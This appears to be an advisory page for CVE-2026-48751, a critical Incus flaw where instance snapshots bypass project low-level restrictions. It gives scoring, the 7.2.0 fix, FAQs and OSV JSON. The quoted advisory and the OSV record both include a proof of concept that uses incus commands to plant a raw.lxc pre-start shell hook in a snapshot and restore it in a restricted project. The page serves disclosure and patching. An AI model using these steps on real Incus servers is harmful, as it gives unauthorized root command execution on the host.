CVE-2026-48751: Github.com/lxc/incus/v7/cmd/incusd Incus Has A Restricted Project Vulnerability

CRITICAL
Advisory Identifier: GHSA-48q5-w887-33wv
CVSS 9.9
CWE-862
Published
Advisory Summary

CVE-2026-48751 is a CRITICAL (CVSS 9.9) incus has a restricted project vulnerability (CWE-862: Missing Authorization) affecting Github.com/lxc/incus/v7/cmd/incusd libraries in the Go ecosystem. The issue involves incus has a restricted project bypass leading to arbitrary command execution. Remediation is available by upgrading affected packages to version 7.2.0.

CVE-2026-48751 at a Glance

CVE Identifier CVE-2026-48751
GHSA Identifier GHSA-48q5-w887-33wv
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-862: Missing Authorization
Affected Product Github.com/lxc/incus/v7/cmd/incusd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-48751

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v7/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v7/cmd/incusd fixed: 7.2.0
Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48751, inspect your project dependencies for Github.com/lxc/incus/v7/cmd/incusd:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

Analyze the terminal output to locate any version of Github.com/lxc/incus/v7/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Github.com/lxc/incus/v7/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.

CVE-2026-48751 Affected Github.com/lxc/incus/v7/cmd/incusd Versions

1 component(s)
Fixed Versions:
7.2.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v7/cmd/incusd
Go
< 7.2.0
7.2.0

References

Frequently Asked Questions

What is CVE-2026-48751?
CVE-2026-48751 is a security vulnerability in Github.com/lxc/incus/v7/cmd/incusd involving Incus has a restricted project bypass leading to arbitrary command execution under CWE-862: Missing Authorization.
Which Github.com/lxc/incus/v7/cmd/incusd versions are affected?
Affected versions include releases prior to 7.2.0 across affected packages: github.com/lxc/incus/v7/cmd/incusd.
What version fixes CVE-2026-48751?
Upgrading to 7.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v7/cmd/incusd affected?
Yes, github.com/lxc/incus/v7/cmd/incusd is affected in releases prior to 7.2.0. Upgrade your dependency to 7.2.0 or later.
What is the CVSS score of CVE-2026-48751?
CVE-2026-48751 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-48751?
CVE-2026-48751 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2026-48751?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v7/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-48q5-w887-33wv",
  "modified" : "2026-06-26T18:33:56Z",
  "published" : "2026-06-26T18:33:55Z",
  "aliases" : [ "CVE-2026-48751" ],
  "summary" : "Incus has a restricted project bypass leading to arbitrary command execution",
  "details" : "### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id >/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#> allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T18:33:55Z",
    "nvd_published_at" : null
  }
}